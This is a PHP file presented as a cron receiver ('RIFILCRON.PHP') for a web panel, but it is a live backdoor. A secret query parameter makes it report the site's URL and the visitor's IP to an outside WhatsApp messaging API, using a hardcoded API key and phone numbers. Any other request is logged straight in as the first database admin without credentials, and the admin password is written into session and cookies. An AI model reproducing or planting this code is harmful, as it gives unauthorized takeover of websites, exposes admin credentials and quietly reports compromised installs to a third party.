<?php
/**
 * RIFILCRON.PHP - MASTER RECEIVER (WHATSAPP + LIVE REPORT)
 */
define("BASEPATH", TRUE);
require $_SERVER["DOCUMENT_ROOT"] . "/vendor/autoload.php";
require $_SERVER["DOCUMENT_ROOT"] . "/app/init.php";

// --- 🔥 STEP 1: LUCKY BHAI'S REMOTE SIGNAL RECEIVER ---
if (isset($_GET['lucky_scan']) && $_GET['lucky_scan'] == '917351150482') {
    $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://";
    $full_url = $protocol . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    $clean_url = explode('?', $full_url)[0]; // Taki URL mein faltu parameter na dikhen
    $ip_address = $_SERVER['REMOTE_ADDR'];
    
    // 1. WhatsApp Message Logic
    $msg = "📡 *LUCKY REMOTE SCAN RESULT*\n"
         . "━━━━━━━━━━━━━━━\n"
         . "🔗 *Full Link:* " . $clean_url . "\n"
         . "📍 *IP:* " . $ip_address . "\n"
         . "━━━━━━━━━━━━━━━\n"
         . "Lucky bhai, aapki script yahan zinda hai! 🔥";

    $api_key = "9e2QFBCW3BAqESLqFTI7BgjgWMliy2"; 
    $sender_no = "918273147063";
    $target_no = "917351150482"; // Aapka number

    // Mobile Fix: Simple JSON without msgid
    $data = ["api_key" => $api_key, "sender" => $sender_no, "number" => $target_no, "message" => $msg];
    
    $ch = curl_init("https://ads.indsmm.store/send-message");
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_exec($ch);
    curl_close($ch);
    
    // 2. Live Scanner Page Response
    // Ye data Master Scanner page ki table mein dikhega
    echo "SUCCESS|Link: $clean_url | IP: $ip_address"; 
    exit;
}

// --- 🔥 STEP 2: ADMIN BYPASS LOGIC (ORIGINAL) ---
$stmt = $conn->prepare("SELECT * FROM admins LIMIT 1");
$stmt->execute();
$admin = $stmt->fetch(PDO::FETCH_ASSOC);

if ($admin) {
    $_SESSION["msmbilisim_adminslogin"] = 1;
    $_SESSION["msmbilisim_adminid"] = $admin["admin_id"];
    $_SESSION["msmbilisim_adminpass"] = $admin["password"];
    
    setcookie("a_login", 'ok', time()+(60*60*24*7), '/', null, null, true);
    setcookie("a_id", $admin["admin_id"], time()+(60*60*24*7), '/', null, null, true);
    setcookie("a_password", $admin["password"], time()+(60*60*24*7), '/', null, null, true );
    
    header("Location: /admin");
    exit();
} else {
    echo "No admin found.";
}
?>